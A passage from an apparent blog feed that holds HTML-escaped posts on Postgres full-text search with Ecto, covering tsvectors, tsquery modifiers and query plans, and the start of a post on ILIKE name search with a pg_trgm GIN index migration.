#79c0ff;&quot;&gt;739&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;actual&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;time&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;64.755&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;132.177&lt;/span&gt; rows&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt; loops&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;        &lt;span style=&quot;color: #ffa657;&quot;&gt;Filter&lt;/span&gt;: &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;language&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;text&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;german&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; AND &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;to_tsvector&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;language&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;regconfig&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;COALESCE&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;title&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;character&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;varying&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;text&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;||&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;||&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;COALESCE&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;summary&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;&amp;#39;&amp;#39;glut&amp;#39;&amp;#39; &amp; &amp;#39;&amp;#39;inn&amp;#39;&amp;#39; &amp; &amp;#39;&amp;#39;zorn&amp;#39;&amp;#39; &amp; &amp;#39;&amp;#39;gesicht&amp;#39;&amp;#39; &amp; &amp;#39;&amp;#39;trat&amp;#39;&amp;#39;&amp;#39;::tsquery))
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;        Rows Removed by Filter: 11218
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;Planning Time: 3.470 ms
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;Execution Time: 137.803 ms
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Apparently, Postgres spins up a worker to conduct the partial index search, which slows down the search significantly. At this point, we finished the benchmark, but any tips on how to improve this solution is most welcome!&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#a-short-interlude&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;a-short-interlude&quot;&gt;&lt;/a&gt;A short Interlude&lt;/h3&gt;
&lt;p&gt;This concludes the section about implementations for multiple languages. We discussed three solutions to implement full-text search with multiple languages: concatenation, partial indexes, and a single language agnostic index. The first and last solution both work well, so it&apos;s up to you to decide which one works best.&lt;/p&gt;
&lt;p&gt;The rest of the article dives into smaller Postgres-related questions like:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;What are &lt;code&gt;tsvectors&lt;/code&gt; and how does Postgres create them?&lt;/li&gt;
&lt;li&gt;What are &lt;code&gt;tsqueries&lt;/code&gt; and how can you use search modifiers in them?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you have read so far, congratulations! This certainly isn&apos;t a short or easy blog post, so give yourself a pat on the shoulder and get another coffee. It becomes a bit nit-picky from here on.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#creating-tsvectors&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;creating-tsvectors&quot;&gt;&lt;/a&gt;Creating &lt;code&gt;tsvectors&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;A tsvector is a sorted list of &lt;a href=&quot;https://icaltefl.com/what-is-a-lexeme&quot;&gt;lexemes&lt;/a&gt;, which are words normalized to their most basic linguistic form. For example, the words &lt;code&gt;program&lt;/code&gt;, &lt;code&gt;programs&lt;/code&gt;, and &lt;code&gt;programming&lt;/code&gt; all have the same lexeme &lt;code&gt;program&lt;/code&gt;. Let&apos;s see how Postgres creates a tsvector from the sentence &lt;strong&gt;Coding with Elixir makes for cleaner code&lt;/strong&gt;.&lt;/p&gt;
&lt;pre id=&quot;code-block-17&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-sql&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;SELECT&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;to_tsvector&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;english&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;Coding with Elixir makes for cleaner code&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;----------------------------------------------&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&amp;#39;cleaner&amp;#39;:6 &amp;#39;code&amp;#39;:1&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;7 &amp;#39;elixir&amp;#39;:3 &amp;#39;make&amp;#39;:4
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When creating a tsvector, Postgres applies a whole list of &lt;a href=&quot;https://www.postgresql.org/docs/current/textsearch-dictionaries.html&quot;&gt;normalizations&lt;/a&gt;. They might remove, replace, or group words, but they all serve one purpose: to reduce long texts to their most relevant keywords.&lt;/p&gt;
&lt;p&gt;In this case, Postgres applied these normalizations that we can see:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;It removed &lt;code&gt;stop-words&lt;/code&gt; like &lt;code&gt;is, a, for, with&lt;/code&gt; that have little relevance since they occur in almost every text.&lt;/li&gt;
&lt;li&gt;It reduced every word to its &lt;code&gt;lexeme&lt;/code&gt;, e.g. &lt;code&gt;coding -&gt; code&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;It grouped words that reduce to the same lexeme, e.g. &lt;code&gt;[coding, code] -&gt; code&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;It sorted the lexemes alphabetically. This allows for more efficient searching for keywords because their position in the list is approximately known.&lt;/li&gt;
&lt;li&gt;It kept the position of every lexeme in the text, e.g. &lt;code&gt;code:1,7&lt;/code&gt; occurred as the first and seventh word. Keeping the position allows us to calculate the proximity of search words in the text. More about this later.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Caveat:&lt;/strong&gt; Postgres returns the best result if you can provide the language of the input text. In our case, we used &lt;code&gt;English&lt;/code&gt;, which is the default. If you don&apos;t know the language of your text, you can use the &lt;a href=&quot;https://www.postgresql.org/docs/current/textsearch-dictionaries.html&quot;&gt;simple&lt;/a&gt; mode instead. This won&apos;t reduce the words into their lexemes and only remove a predefined list of stop-words. So, take this as a caveat: If you don&apos;t know the language of your text, your search results and search performance will suffer and you will have to store a lot more data.&lt;/p&gt;
&lt;p&gt;Now that we know how Postgres creates &lt;code&gt;tsvectors&lt;/code&gt;, let&apos;s have a look at their counterpart: the &lt;code&gt;tsquery&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#search-modifiers-in-tsquery&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;search-modifiers-in-tsquery&quot;&gt;&lt;/a&gt;Search Modifiers in &lt;code&gt;tsquery&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;When you build your &lt;code&gt;tsquery&lt;/code&gt;, you can use &lt;a href=&quot;https://www.postgresql.org/docs/current/functions-textsearch.html&quot;&gt;search modifiers&lt;/a&gt; like &lt;code&gt;AND&lt;/code&gt;, &lt;code&gt;OR&lt;/code&gt;, &lt;code&gt;NOT&lt;/code&gt;, and &lt;code&gt;FOLLOWED BY&lt;/code&gt;. Let&apos;s see how they work:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To search for documents that include both words &lt;code&gt;elixir AND postgres&lt;/code&gt;, your &lt;code&gt;tsquery&lt;/code&gt; would be &lt;code&gt;to_tsquery(&apos;elixir &amp; postgres&apos;)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;To match documents that contain &lt;strong&gt;either&lt;/strong&gt; &lt;code&gt;elixir OR postgres&lt;/code&gt;, you can search with &lt;code&gt;to_tsquery(&apos;elixir | postgres&apos;)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;To find documents that contain certain an entire &lt;strong&gt;phrase&lt;/strong&gt;, like &lt;code&gt;efficient search&lt;/code&gt;, you can search with: &lt;code&gt;to_tsquery(&apos;efficient &lt;-&gt; search&apos;)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;To find documents that &lt;strong&gt;don&apos;t&lt;/strong&gt; include certain words, you can use &lt;code&gt;to_tsquery(&apos;!java&apos;)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;To group words, you can use parentheses. For example, to match documents that contain &lt;strong&gt;either&lt;/strong&gt; &lt;code&gt;elixir AND postgres&lt;/code&gt; &lt;strong&gt;or&lt;/strong&gt; &lt;code&gt;elixir AND ecto&lt;/code&gt; use: &lt;code&gt;ts_toquery(&apos;(elixir &amp; postgres) | (elixir &amp; ecto&apos;)&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When you write these searches, you probably don&apos;t want to write the search modifiers by hand. That&apos;s why Postgres offers three convenience functions: &lt;code&gt;plainto_tsquery&lt;/code&gt;, &lt;code&gt;phraseto_tsquery&lt;/code&gt;, and the most important one: &lt;code&gt;websearch_to_tsquery&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;plainto_tsquery&lt;/code&gt; ignores any search modifiers and simply adds &lt;code&gt;AND&lt;/code&gt; between each word. So, &lt;code&gt;plainto_tsquery(&apos;elixir code&apos;)&lt;/code&gt; equals &lt;code&gt;to_tsquery(&apos;elixir &amp; code&apos;)&lt;/code&gt; and matches any document that contains both words.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;phraseto_tsquery&lt;/code&gt; also ignores any modifiers and adds &lt;code&gt;&lt;-&gt;&lt;/code&gt; between each word. This matches documents that contain an exact phrase like &lt;code&gt;elixir is great&lt;/code&gt;. It won&apos;t match documents where these words exist, but in the wrong order, like in &lt;code&gt;Is elixir great?&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;websearch_to_tsquery&lt;/code&gt; is the safest way to allow user input in your full-text queries. It allows all search modifiers but expects them in a human-readable form. &lt;code&gt;OR&lt;/code&gt; is simply &lt;code&gt;OR&lt;/code&gt;, &lt;code&gt;NOT&lt;/code&gt; becomes &lt;code&gt;-&lt;/code&gt;, &lt;code&gt;AND&lt;/code&gt; stays &lt;code&gt;AND&lt;/code&gt; but can be omitted, and phrases have to be put in quotes, like &lt;code&gt;&quot;efficient search&quot;&lt;/code&gt;. For example:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code-block-18&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-sql&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;-- These queries are equal&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;websearch_to_tsquery&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&amp;#39;&quot;efficient search&quot; or postgres and -java&amp;#39;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;to_tsquery&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&amp;#39;(efficient &lt;-&gt; search) | (postgres &amp; !java)&amp;#39;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you have questions or comments, let&apos;s discuss them on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt;. Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. If you found this topic interesting, here are some references for further reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://elixirstream.dev/tips/32e059eb-038c-4cb8-8e0b-ce8ffbdaae8a&quot;&gt;Great code snipped by David Bernheisel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/textsearch-controls.html&quot;&gt;ts_query Docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://neiro.io/2018-01-21-postgres-full-text-search-using-ecto.md.html&quot;&gt;Another great blog post&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.compose.com/articles/indexing-for-full-text-search-in-postgresql/&quot;&gt;How does tsvector break down a document&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/complete-guide-to-full-text-search-with-postgres-and-ecto"/>
    <id>https://peterullrich.com/complete-guide-to-full-text-search-with-postgres-and-ecto</id>
    <title>The Complete Guide to Full-text Search with Postgres and Ecto</title>
    <updated>2022-11-06T10:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Hey folks, before we begin, a public service announcement:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;Respect people who wear glasses.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;They paid money to see you.
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Okay, that was enough fun for today. Let&apos;s dive into today&apos;s topic: How can you search through millions of usernames using Ecto and Postgres? Let&apos;s find out!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Quick note: This article does &lt;strong&gt;not&lt;/strong&gt; cover &lt;a href=&quot;https://www.postgresql.org/docs/current/textsearch-intro.html&quot;&gt;full-text search (FTS)&lt;/a&gt; with Postgres. It focuses only on searching for short strings like names, movie titles, article names, etc. I will cover FTS in another article in the future.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Imagine that you have a database with a million users. You need to allow admins to search through the users by name. You need to get this out the door quickly, so instead of building a cool, custom search engine, you want to use what&apos;s already at hand. Luckily, Postgres got your back.&lt;/p&gt;
&lt;p&gt;In short, there are two good candidates of query methods you can use: &lt;code&gt;(i)like&lt;/code&gt; and &lt;code&gt;similarity&lt;/code&gt;. &lt;code&gt;(i)like&lt;/code&gt; is better if you want to have exact matches with your query. For example, the search term &lt;code&gt;Ber&lt;/code&gt; would return &lt;code&gt;Bert&lt;/code&gt; or &lt;code&gt;Berry&lt;/code&gt;, but not &lt;code&gt;Bart&lt;/code&gt;. &lt;code&gt;similarity&lt;/code&gt; is a more &lt;code&gt;fuzzy&lt;/code&gt; approach and would also return &lt;code&gt;Bart&lt;/code&gt;, since it&apos;s not the same, but very similar to &lt;code&gt;Ber&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We will test our name search against an example set of &lt;a href=&quot;https://www.usna.edu/Users/cs/roche/courses/s15si335/proj1/files.php%3Ff=names.txt.html&quot;&gt;18.000 first names&lt;/a&gt;. The non-trivial size of the set allows us to test the speedup of using indexes. Let&apos;s have a look at how to implement each of them.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#ilike&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;ilike&quot;&gt;&lt;/a&gt;(i)LIKE&lt;/h2&gt;
&lt;p&gt;Probably the most common search method is the &lt;a href=&quot;https://www.postgresql.org/docs/current/functions-matching.html#FUNCTIONS-LIKE&quot;&gt;LIKE&lt;/a&gt; operator. It checks whether a string contains a search term. So, &lt;code&gt;Bert&lt;/code&gt; matches &lt;code&gt;Ber&lt;/code&gt;, but &lt;code&gt;Bart&lt;/code&gt; does not. You can specify where in the string the search term may exist using the wildcard &lt;code&gt;%&lt;/code&gt; sign. For example, a search term of &lt;code&gt;Ber%&lt;/code&gt; means that a string must begin with &lt;code&gt;Ber&lt;/code&gt; whereas &lt;code&gt;%Ber&lt;/code&gt; means the string must end with &lt;code&gt;Ber&lt;/code&gt;. If your search term may exist &lt;strong&gt;anywhere&lt;/strong&gt; in the string, you can use two &lt;code&gt;%&lt;/code&gt; signs like this: &lt;code&gt;%Ber%&lt;/code&gt;. This would match &lt;code&gt;Bert&lt;/code&gt;, but also &lt;code&gt;DagoBert&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In our queries, we usually don&apos;t use &lt;code&gt;LIKE&lt;/code&gt;, but its sibling &lt;code&gt;ILIKE&lt;/code&gt;, which ignores cases in our strings and search terms. So, whereas &lt;code&gt;Ber% LIKE &apos;bert&apos;&lt;/code&gt; doesn&apos;t match, &lt;code&gt;Ber% ILIKE &apos;bert&apos;&lt;/code&gt; does. Now, let&apos;s have a look at how to implement an efficient &lt;code&gt;ILIKE&lt;/code&gt; search in Ecto.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-migration&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-migration&quot;&gt;&lt;/a&gt;The Migration&lt;/h3&gt;
&lt;p&gt;First, we build a migration that creates a simple &lt;code&gt;persons&lt;/code&gt; table with only one field: a &lt;code&gt;name&lt;/code&gt;. We also create an index for that field, which we&apos;ll discuss later. This is how it looks:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Repo.Migrations.CreatePersons&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Migration&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;up&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;create&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;table&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:persons&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:string&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;execute&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;CREATE EXTENSION IF NOT EXISTS pg_trgm;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;execute&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;      CREATE INDEX persons_name_gin_trgm_idx
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;        ON persons
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;        USING gin (name gin_trgm_ops);
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &quot;&quot;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;down&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;drop&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;table&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:persons&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First off, since we use the &lt;code&gt;execute/1&lt;/code&gt; function with custom SQL code, we need to split the migration into &lt;code&gt;up/0&lt;/code&gt; and &lt;code&gt;down/0&lt;/code&gt; since otherwise, Ecto doesn&apos;t know how to roll back our migration.&lt;/p&gt;
&lt;p&gt;The two &lt;code&gt;execute/1&lt;/code&gt; statements are the reason our &lt;code&gt;ILIKE&lt;/code&gt; search is efficient. The first statement activates the &lt;a href=&quot;https://www.postgresql.org/docs/current/pgtrgm.html#id-1.11.7.44.8&quot;&gt;pg_trgm&lt;/a&gt; extension, which allows us to search through a &lt;code&gt;GIN&lt;/code&gt; index of our names instead of having to scan through every row 1-by-1. The second &lt;code&gt;execute/1&lt;/code&gt; statement creates the &lt;code&gt;GIN&lt;/code&gt; index for the &lt;code&gt;name&lt;/code&gt; column using the &lt;code&gt;gin_trgm_ops&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Watch out: Don&apos;t create the index with the Ecto variant of it, which is:&lt;/p&gt;
